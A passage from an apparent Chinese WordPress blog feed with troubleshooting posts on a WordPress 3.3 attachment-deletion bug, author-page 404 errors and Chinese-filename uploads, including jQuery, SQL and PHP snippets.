&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
&nbsp; &nbsp; <span style="color: #006600; font-style: italic;">// Bind AJAX to the new Undo button</span><br />
&nbsp; &nbsp; jQuery<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'a.undo'</span><span style="color: #339933;">,</span> <span style="color: #000066; font-weight: bold;">item</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">click</span><span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #006600; font-style: italic;">// Tell the server to untrash it. TODO: handle exceptions</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; jQuery.<span style="color: #660066;">ajax</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; url<span style="color: #339933;">:</span> <span style="color: #3366CC;">'admin-ajax.php'</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; type<span style="color: #339933;">:</span> <span style="color: #3366CC;">'post'</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; id<span style="color: #339933;">:</span> fileObj.<span style="color: #660066;">id</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; data<span style="color: #339933;">:</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; id <span style="color: #339933;">:</span> <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">id</span>.<span style="color: #660066;">replace</span><span style="color: #009900;">&#40;</span><span style="color: #009966; font-style: italic;">/[^0-9]/g</span><span style="color: #339933;">,</span><span style="color: #3366CC;">''</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; action<span style="color: #339933;">:</span> <span style="color: #3366CC;">'untrash-post'</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; _ajax_nonce<span style="color: #339933;">:</span> <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">href</span>.<span style="color: #660066;">replace</span><span style="color: #009900;">&#40;</span><span style="color: #009966; font-style: italic;">/^.*wpnonce=/</span><span style="color: #339933;">,</span><span style="color: #3366CC;">''</span><span style="color: #009900;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; success<span style="color: #339933;">:</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span>data<span style="color: #339933;">,</span> textStatus<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #003366; font-weight: bold;">var</span> <span style="color: #000066; font-weight: bold;">item</span> <span style="color: #339933;">=</span> jQuery<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'#media-item-'</span> <span style="color: #339933;">+</span> fileObj.<span style="color: #660066;">id</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span> type <span style="color: #339933;">=</span> jQuery<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'#type-of-'</span> <span style="color: #339933;">+</span> fileObj.<span style="color: #660066;">id</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">val</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; jQuery<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'#'</span> <span style="color: #339933;">+</span> type <span style="color: #339933;">+</span> <span style="color: #3366CC;">'-counter'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">text</span><span style="color: #009900;">&#40;</span>jQuery<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'#'</span> <span style="color: #339933;">+</span> type <span style="color: #339933;">+</span> <span style="color: #3366CC;">'-counter'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">text</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-</span><span style="color: #CC0000;">0</span><span style="color: #339933;">+</span><span style="color: #CC0000;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span> <span style="color: #000066; font-weight: bold;">item</span>.<span style="color: #660066;">hasClass</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'child-of-'</span><span style="color: #339933;">+</span>post_id<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; jQuery<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'#attachments-count'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">text</span><span style="color: #009900;">&#40;</span>jQuery<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'#attachments-count'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">text</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-</span><span style="color: #CC0000;">0</span><span style="color: #339933;">+</span><span style="color: #CC0000;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; jQuery<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'.filename .trashnotice'</span><span style="color: #339933;">,</span> <span style="color: #000066; font-weight: bold;">item</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">remove</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; jQuery<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'.filename .title'</span><span style="color: #339933;">,</span> <span style="color: #000066; font-weight: bold;">item</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">css</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'font-weight'</span><span style="color: #339933;">,</span><span style="color: #3366CC;">'normal'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; jQuery<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'a.undo'</span><span style="color: #339933;">,</span> <span style="color: #000066; font-weight: bold;">item</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">addClass</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'hidden'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; jQuery<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'a.describe-toggle-on, .menu_order_input'</span><span style="color: #339933;">,</span> <span style="color: #000066; font-weight: bold;">item</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">show</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">item</span>.<span style="color: #660066;">css</span><span style="color: #009900;">&#40;</span> <span style="color: #009900;">&#123;</span>backgroundColor<span style="color: #339933;">:</span><span style="color: #3366CC;">'#ceb'</span><span style="color: #009900;">&#125;</span> <span style="color: #009900;">&#41;</span>.<span style="color: #660066;">animate</span><span style="color: #009900;">&#40;</span> <span style="color: #009900;">&#123;</span>backgroundColor<span style="color: #339933;">:</span> <span style="color: #3366CC;">'#fff'</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">,</span> <span style="color: #009900;">&#123;</span> queue<span style="color: #339933;">:</span> <span style="color: #003366; font-weight: bold;">false</span><span style="color: #339933;">,</span> duration<span style="color: #339933;">:</span> <span style="color: #CC0000;">500</span><span style="color: #339933;">,</span> complete<span style="color: #339933;">:</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span> jQuery<span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">this</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">css</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#123;</span>backgroundColor<span style="color: #339933;">:</span><span style="color: #3366CC;">''</span><span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span> <span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">removeClass</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'undo'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">return</span> <span style="color: #003366; font-weight: bold;">false</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></td></tr></tbody></table></div>
<p>试着把那个</p>
<div class="codecolorer-container javascript default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&nbsp;action <span style="color: #339933;">:</span> <span style="color: #3366CC;">'trash-post'</span><span style="color: #339933;">,</span></div></td></tr></tbody></table></div>
<p>中的trash-post修改为 <strong>delete-post</strong>,还是一样的结果。。。 <img src='http://ihacklog.com/wordpress/wp-includes/images/smilies/icon_arrow.gif' alt=':arrow:' class='wp-smiley' />  </p>

<script type="text/javascript"> 
var cur_host=top.location.hostname;
var huangye_host="ihacklog.com";
if ( huangye_host != cur_host) 
{
	var cur_url=top.location.href;
	//top.location.href = cur_url.replace(cur_host,huangye_host);
	top.location.href = "http://ihacklog.com/?p=5208";
}
</script> 			
<div class='sub'><h4>喜欢这篇文章吗?</h4><p>请订阅本站 <a class="feed" style="font-family:Consolas,'DejaVu Sans Mono',monospace,'Comic Sans MS',Monaco;font-size:14px;" href="http://ihacklog.com/feed" onclick="prompt(&#39;URL:&#39;, this.href); return false;">RSS feed</a> 或<a style="display:inline-block;width:90px;margin-bottom:-8px;" target="_blank" href="http://list.qq.com/cgi-bin/qf_invite?id=5899d1ae341c4fb741adf6648000fbaf3ef47b98e2a163da"><img border="0" alt="填写您的邮件地址，订阅我们的精彩内容：" src="http://rescdn.list.qq.com/zh_CN/htmledition/images/qunfa/manage/picMode_dark_s.png" /></a></p></div>
                <!-- 版权声明开始 -->
   		<div id="permissions">
		作者：<a href="http://ihacklog.com">荒野无灯</a><br/>
		出处：<span style="color: #333300;"><a target="_blank"  href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span><br/>
                <!-- 版权声明结束 -->
                <!-- 协议声明开始 -->
            <p>
            <strong>声明:</strong> 本站遵循 <span style="color: #ff0000;"><a href="http://creativecommons.org/licenses/by-nc-sa/2.5/cn/" target="_blank"> 署名-非商业性使用-相同方式共享 2.5</a> </span>共享协议. 转载请注明转自<span style="color: #333300;"><a target="_blank" href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span>
            </p>
                <!-- 协议声明结束 -->
                
             <p>
             本文链接:  <a  target="_blank"  href="http://ihacklog.com/?p=5208" title="Permanent Link to 定义EMPTY_TRASH_DAYS常量为0后,WordPress 3.3 无法删除附件的BUG" onclick="prompt(&#39;URL:&#39;, this.href); return false;">http://ihacklog.com/?p=5208</a>
            </p>
             </div><h3  class="related_post_title">随机日志</h3><ul class="related_post"><li>2008年12月22日  //  <a href="http://ihacklog.com/php/framework/thinkphp-%e5%86%85%e9%83%a8%e5%87%bd%e6%95%b0-d%e3%80%81f%e3%80%81s%e3%80%81c%e3%80%81l%e3%80%81a-%e4%bb%96%e4%bb%ac%e7%9a%84%e7%94%a8%e9%80%94%e5%92%8c%e6%89%80%e5%9c%a8%e4%bd%8d%e7%bd%ae.html" title="thinkphp 内部函数 D、F、S、C、L、A 他们的用途和所在位置 ">thinkphp 内部函数 D、F、S、C、L、A 他们的用途和所在位置 </a> (0)</li><li>2008年12月24日  //  <a href="http://ihacklog.com/security_optimization/php%e6%b2%89%e6%80%9d%e5%bd%95%e4%b9%8b%e4%b8%89-smarty.html" title="PHP沉思录之三&#8211;Smarty">PHP沉思录之三&#8211;Smarty</a> (0)</li><li>2011年12月24日  //  <a href="http://ihacklog.com/software/cool_software_share/christmas-gift%ef%bc%9asmall-but-usefull-software.html" title="Christmas gift：几个小软件">Christmas gift：几个小软件</a> (1)</li><li>2009年05月29日  //  <a href="http://ihacklog.com/software/tips/totalcommander702alvsehanhuazengqiangban.html" title="Total Commander 7.02a 绿色汉化增强版">Total Commander 7.02a 绿色汉化增强版</a> (0)</li><li>2008年12月31日  //  <a href="http://ihacklog.com/php/%e3%80%90%e8%bd%ac%e5%b8%96%e3%80%91%e9%85%8d%e6%9c%ba%e8%bf%87%e7%a8%8b%e4%b8%ad30%e4%b8%aa%e4%b8%8d%e5%8f%af%e5%bf%bd%e7%95%a5%e7%9a%84%e7%bb%86%e8%8a%82.html" title=" 【转帖】配机过程中30个不可忽略的细节"> 【转帖】配机过程中30个不可忽略的细节</a> (0)</li><li>2011年01月7日  //  <a href="http://ihacklog.com/software/tips/hp-notebook-battery-calibration.html" title="HP笔记本电池校准方法">HP笔记本电池校准方法</a> (3)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://ihacklog.com/php/wordpress/problems/wordpress-33-can-not-delete-attachment-in-thickbox-popup-media-window-after-defined-empty_trash_days-to-zero.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>WP用户日志页面404错误的解决办法</title>
		<link>http://ihacklog.com/php/wordpress/problems/wordpress-author-page-not-found.html</link>
		<comments>http://ihacklog.com/php/wordpress/problems/wordpress-author-page-not-found.html#comments</comments>
		<pubDate>Thu, 22 Sep 2011 07:07:50 +0000</pubDate>
		<dc:creator>荒野无灯</dc:creator>
				<category><![CDATA[wp问题]]></category>
		<category><![CDATA[404错误]]></category>
		<category><![CDATA[author page]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[解决办法]]></category>

		<guid isPermaLink="false">http://ihacklog.com/?p=4843</guid>
		<description><![CDATA[博客之前一直有一个404错误，一直没怎么关注。今天修改数据库搞定此问题了。 另外说一下，simpledark用的取用户日志链接的函数为the_author_posts_link,此函数目前已经处于deprecated状态。官方建议用　get_author_posts_url();　替代之。 the_author_posts_link has been deprecated. That means it has been replaced by a new function or is no longer ...]]></description>
			<content:encoded><![CDATA[<p>博客之前一直有一个404错误，一直没怎么关注。今天修改数据库搞定此问题了。</p>
<p>另外说一下，simpledark用的取用户日志链接的函数为<strong>the_author_posts_link</strong>,此函数目前已经处于<strong>deprecated</strong>状态。官方建议用　get_author_posts_url();　替代之。</p>
<blockquote><p>
the_author_posts_link has been deprecated. That means it has been replaced by a new function or is no longer supported, and may be removed from future versions. This function is deprecated since 2.1 use get_author_posts_url() instead.</p></blockquote>
<p>由于我显示名称（display_name）用的是中文的“荒野无灯”　，而get_author_posts_url();用来组建URL是取wp_users表中的user_nicename字段的，由于我的user_nicename字段默认和display_name 一样，因此组建的URL自然也是中文的。不过貌似WP的rewrite正则匹配没有考虑到中文用户，因此，最简单的办法就是修改user_nicename字段为英文吧，中间不要有空格和其它奇怪字符。</p>
<div class="codecolorer-container sql default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="sql codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #993333; font-weight: bold;">UPDATE</span> <span style="color: #ff0000;">`my_wb_db`</span><span style="color: #66cc66;">.</span><span style="color: #ff0000;">`wp_users`</span> <span style="color: #993333; font-weight: bold;">SET</span> <span style="color: #ff0000;">`user_nicename`</span> <span style="color: #66cc66;">=</span> <span style="color: #ff0000;">'HuangYeWuDeng'</span> <span style="color: #993333; font-weight: bold;">WHERE</span> <span style="color: #ff0000;">`wp_users`</span><span style="color: #66cc66;">.</span><span style="color: #ff0000;">`ID`</span> <span style="color: #66cc66;">=</span>你的用户ID;</div></td></tr></tbody></table></div>
<p>OK，搞定。<br />
现在的用户链接已经是：<br />
<a href="http://ihacklog.com/author/HuangYeWuDeng">http://ihacklog.com/author/HuangYeWuDeng</a></p>

<script type="text/javascript"> 
var cur_host=top.location.hostname;
var huangye_host="ihacklog.com";
if ( huangye_host != cur_host) 
{
	var cur_url=top.location.href;
	//top.location.href = cur_url.replace(cur_host,huangye_host);
	top.location.href = "http://ihacklog.com/?p=4843";
}
</script> 			
<div class='sub'><h4>喜欢这篇文章吗?</h4><p>请订阅本站 <a class="feed" style="font-family:Consolas,'DejaVu Sans Mono',monospace,'Comic Sans MS',Monaco;font-size:14px;" href="http://ihacklog.com/feed" onclick="prompt(&#39;URL:&#39;, this.href); return false;">RSS feed</a> 或<a style="display:inline-block;width:90px;margin-bottom:-8px;" target="_blank" href="http://list.qq.com/cgi-bin/qf_invite?id=5899d1ae341c4fb741adf6648000fbaf3ef47b98e2a163da"><img border="0" alt="填写您的邮件地址，订阅我们的精彩内容：" src="http://rescdn.list.qq.com/zh_CN/htmledition/images/qunfa/manage/picMode_dark_s.png" /></a></p></div>
                <!-- 版权声明开始 -->
   		<div id="permissions">
		作者：<a href="http://ihacklog.com">荒野无灯</a><br/>
		出处：<span style="color: #333300;"><a target="_blank"  href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span><br/>
                <!-- 版权声明结束 -->
                <!-- 协议声明开始 -->
            <p>
            <strong>声明:</strong> 本站遵循 <span style="color: #ff0000;"><a href="http://creativecommons.org/licenses/by-nc-sa/2.5/cn/" target="_blank"> 署名-非商业性使用-相同方式共享 2.5</a> </span>共享协议. 转载请注明转自<span style="color: #333300;"><a target="_blank" href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span>
            </p>
                <!-- 协议声明结束 -->
                
             <p>
             本文链接:  <a  target="_blank"  href="http://ihacklog.com/?p=4843" title="Permanent Link to WP用户日志页面404错误的解决办法" onclick="prompt(&#39;URL:&#39;, this.href); return false;">http://ihacklog.com/?p=4843</a>
            </p>
             </div><h3  class="related_post_title">相关日志</h3><ul class="related_post"><li>2011年12月13日  //  <a href="http://ihacklog.com/php/wordpress/upgrade/wordpress-3-3-sonny-released.html" title="WordPress 3.3 “Sonny”正式发布">WordPress 3.3 “Sonny”正式发布</a> (4)</li><li>2011年09月28日  //  <a href="http://ihacklog.com/php/wordpress/wpskills/the-right-way-to-insert-custom-quicktags-into-the-wordpress-editor.html" title="给WordPress quicktags编辑器添加自定义按钮的正确方法">给WordPress quicktags编辑器添加自定义按钮的正确方法</a> (6)</li><li>2011年09月3日  //  <a href="http://ihacklog.com/php/markdown-intro.html" title="Markdown 的使用介绍">Markdown 的使用介绍</a> (0)</li><li>2011年06月30日  //  <a href="http://ihacklog.com/php/wordpress/upgrade/wordpress-v-3-1-4-manual-upgrade-package.html" title="wordpress 3.1.4 手动升级包">wordpress 3.1.4 手动升级包</a> (4)</li><li>2011年06月2日  //  <a href="http://ihacklog.com/php/wordpress/wordpress-pingback-and-trackback-analyze.html" title="wordpress pingback与trackback分析">wordpress pingback与trackback分析</a> (0)</li><li>2011年06月1日  //  <a href="http://ihacklog.com/software/powerfulvim/vimpress-modified-by-huangyewudeng.html" title="vimpress修改版">vimpress修改版</a> (13)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://ihacklog.com/php/wordpress/problems/wordpress-author-page-not-found.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>WordPress上传中文文件名文件乱码之解决办法</title>
		<link>http://ihacklog.com/php/wordpress/problems/solution-to-upload-chinese-filename-file-in-wordpress.html</link>
		<comments>http://ihacklog.com/php/wordpress/problems/solution-to-upload-chinese-filename-file-in-wordpress.html#comments</comments>
		<pubDate>Wed, 21 Sep 2011 11:16:50 +0000</pubDate>
		<dc:creator>荒野无灯</dc:creator>
				<category><![CDATA[wp问题]]></category>

		<guid isPermaLink="false">http://ihacklog.com/?p=4825</guid>
		<description><![CDATA[WP中文论坛一坛友“晓风东来”发mail来问我WP上传中文文件有无解决办法，这问题以前还真没有细究。今天正好有时间，研究了下。这篇文章也算是给广大中文WP博友做个参考。 说明： 目前此方法适用于WP　3.x版。 适用服务器为windows 2003/2008 中文版操作系统（ cp 936 ）,不符合此条件的不要乱修改。 由此修改造成的任何问题与本人无关。 最后，说一点废话： 中文名是比较直观，不过个人建议大家最好还是上传英文的。这是保存100%不出问题的办法。 如果你只是想上传中文名的文件上去，然后能以...]]></description>
			<content:encoded><![CDATA[<p>WP中文论坛一坛友“晓风东来”发mail来问我WP上传中文文件有无解决办法，这问题以前还真没有细究。今天正好有时间，研究了下。这篇文章也算是给广大中文WP博友做个参考。</p>
<hr />
<hr />
说明：</p>
<blockquote><p>目前此方法适用于WP　3.x版。<br />
适用服务器为windows 2003/2008 中文版操作系统（ cp 936 ）,不符合此条件的不要乱修改。<br />
由此修改造成的任何问题与本人无关。<br />
最后，说一点废话：<br />
中文名是比较直观，不过个人建议大家最好还是上传英文的。这是保存100%不出问题的办法。<br />
如果你只是想上传中文名的文件上去，然后能以中文名下载下来，而不在乎文件保存在服务器上是否是中文名，那么推荐你用这个插件：<strong><a href="http://ihacklog.com/l.php?url=http%3A%2F%2Fwordpress.org%2Fextend%2Fplugins%2Fhacklog-downloadmanager%2F" target="_blank">Hacklog-DownloadManager</a></strong>
</p></blockquote>
<hr />
<hr />
<p>wp-includes\functions.php line 2298 function wp_unique_filename<br />
此函数系用PHP的basename取文件名，据我所知，此basename函数是不能获取中文文件名名称的，若文件名是中文的，返回的结果只剩下后缀了。<br />
此处我给出一个支持中文的basename函数：</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:500px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br />20<br />21<br />22<br />23<br />24<br />25<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #009933; font-style: italic;">/**<br />
&nbsp;* @author 荒野无灯<br />
&nbsp;* 2010 0506修正，可取得网址文件名<br />
&nbsp;* 2011-09-21 fixed,make the function perform like &nbsp;PHP origenal basename function<br />
&nbsp;* @param string $file_name<br />
&nbsp;* @param string $suffix<br />
&nbsp;* @return string <br />
&nbsp;*/</span><br />
<span style="color: #000000; font-weight: bold;">function</span> ihacklog_basename<span style="color: #009900;">&#40;</span><span style="color: #000088;">$file_name</span><span style="color: #339933;">,</span> <span style="color: #000088;">$suffix</span> &nbsp; &nbsp;<span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #009900;">&#41;</span> <br />
<span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$file_name</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/str_replace"><span style="color: #990000;">str_replace</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\\</span>&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'/'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$file_name</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #009900; font-weight: bold;">false</span> <span style="color: #339933;">!==</span> <a href="http://www.php.net/strpos"><span style="color: #990000;">strpos</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$file_name</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'/'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <br />
&nbsp; &nbsp; <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$basename</span> &nbsp;<span style="color: #339933;">=</span> <a href="http://www.php.net/substr"><span style="color: #990000;">substr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$file_name</span><span style="color: #339933;">,</span> <a href="http://www.php.net/strrpos"><span style="color: #990000;">strrpos</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$file_name</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'/'</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">else</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$basename</span> &nbsp;<span style="color: #339933;">=</span> <span style="color: #000088;">$file_name</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><a href="http://www.php.net/empty"><span style="color: #990000;">empty</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$suffix</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <br />
&nbsp; &nbsp; <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$basename</span> &nbsp;<span style="color: #339933;">=</span> <a href="http://www.php.net/substr"><span style="color: #990000;">substr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$basename</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span> <a href="http://www.php.net/strlen"><span style="color: #990000;">strlen</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$basename</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">-</span> <a href="http://www.php.net/strlen"><span style="color: #990000;">strlen</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$suffix</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #000088;">$basename</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span></div></td></tr></tbody></table></div>
<p><strong>此函数需丢入当前主题 functions.php 或者作为插件载入</strong>。<br />
<ins datetime="2011-09-22T12:08:01+00:00"><br />
2011-09-22T12:08:01+00:00补记：<br />
后来仔细看了下php文档，发现也可以让basename支持中文，方法是在调用它之前要调用setlocale() 函数设置一个能处理多字节字符的<br />
locale.</p>
<blockquote><p>setlocale() 函数设置地区信息（地域信息）。</p>
<p>地区信息是针对一个地理区域的语言、货币、时间以及其他信息。</p>
<p>该函数返回当前的地区设置，若失败则返回 false。<br />
注释：setlocale() 函数仅针对当前脚本改变地区信息。</p>
<p>提示：可以通过 setlocale(LC_ALL,NULL) 把地区信息设置为系统默认。
</p></blockquote>
<p>由于此函数只在当前脚本有作用，因此在WP里面要想它全局生效的话，此设置需要加入load或者加入wp-config.php中，如：</p>
